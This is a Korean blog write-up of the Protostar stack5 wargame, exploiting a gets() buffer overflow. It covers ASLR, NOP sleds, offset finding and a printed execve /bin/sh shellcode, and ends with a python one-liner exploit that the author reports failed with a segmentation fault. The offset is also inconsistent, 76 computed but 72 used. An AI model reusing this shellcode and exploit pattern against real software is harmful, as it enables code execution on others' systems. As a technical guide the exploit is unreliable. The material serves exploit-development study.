SH1R0_HACKER
stack5 본문
stack5.c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
gets()를 통해 버퍼오버플로우를 일으킬 수 있을 것 같다.
이번엔 쉘코드를 이용하여 RET를 공격해보는것이 목표이다.
[ ASLR(Address Space Layout Randomization) ]
메모리 영역의 주소 공간 배치를 랜덤화하여 공격을 방해한다.
즉 프로세스가 메모리에 올라갈 때 힙, 스택, 공유 라이브러리의 위치를 랜덤하게 정해주는 것.
출처: https://satanel001.tistory.com/77
Imagebase를 랜덤하게 해줘서 주소 예측이 힘들게 하는 방식이다.
우회/차단하는 방법은 아래와 같다.
1. 0x90 사용하기
- 쉘코드를 사용하기 위해서 많이 쓰는 방법이다.
0x90(nop)이라는 명령어는 프로그램에 아무런 영향을 끼치지 않고 그냥 eip를 다음 명령어로 넘겨버린다.
그러므로 이 0x90을 많이 늘어놓은 다음 뒷쪽에 쉘코드를 넣어서 프로그램이 랜덤한 주소로 리턴하거나
점프해도 0x90안에 eip가 떨어질 확률을 높이는 것이다. 여러개의 0x90 중 한군데만 떨어져도 eip는
0x90을 타고 끝까지 가서 쉘코드를 실행하게 된다.
많이 쓰이는 방법이긴 한데 버퍼의 크기가 한정되어 있으면 0x90을 넣을 공간이 부족할 수 있다.
2. 반복실행
0x90과 마찬가지로 확률을 높히는 방식이다. 원하는 주소가 어딘지는 모르지만 가능한 주소를 골라서 될때까지 계속 시도를 하다보면 랜덤의 특성상 언젠가는 해당주소에 걸릴 것이다. 0x90과 함게 사용하면 확률을 더 높힐 수 있겠다. 하지만 너무 반복적으로 실행하지 못하게 차단한다던지 하는 환경에서는 사용할 수 없는 방법이다.
칼리리눅스는 기본적으로 ASLR 메모리 보호기법이 동작중이라 끄도록 한다.
원래 프로토스타에서는 ASLR이 적용되지 않는다.
이 방법은 임시로 끄는 방법이기 때문에 OS를 리부팅하면 사라진다.
[ 취약점 파악 및 분석 ]
buffer의 위치 : esp+0x10
stack5는 오버플로를 사용해 /bin/sh을 실행하는 문제이다.
[ Exploit ]
ret에 쉘코드를 넣기 위해선 필요한게 3가지가 있다.
(1) buffer 변수와 ret 값의 거리
(2) 쉘코드
(3) buffer의 주소
Buffer 변수와 ret 값의 거리를 구하는 과정이다.
브레이크포인트를 main+32 (ret)에 걸어주고 run을 하고 패턴을 입력해준다.
스택 최상단에 있는 값이 ret에 저장된 패턴이다.
offset을 계산해주면 76이 나온다.
Buffer 변수와 ret 값의 거리 : 76byte
쉘코드는 아래의 블로그에서 가져왔다.
https://blog.naver.com/mathboy7/220215329450
쉘코드 (25byte) :
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
buffer변수의 주소를 알아내기 위해 leave에 브레이크포인트를 걸고 실행한 뒤
A로 다 채워보았다.
대표사진 삭제
사진 설명을 입력하세요.
0xffffd130이 buffer 주소인것 같다.
공격코드를 작성하자.
(python -c 'print "A"*72 + "\x30\xd1\xff\xff" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"' ; cat) | ./stack5
왜 안될까? Segmentation Fault 가 뜬다.
사용자 문제로 오류가 발생한다.
원래는 되어야하는데...프로토스타 os에서 다시 시도해봐야겠다.
(이거 때문에 삽질을 이틀동안 했다.)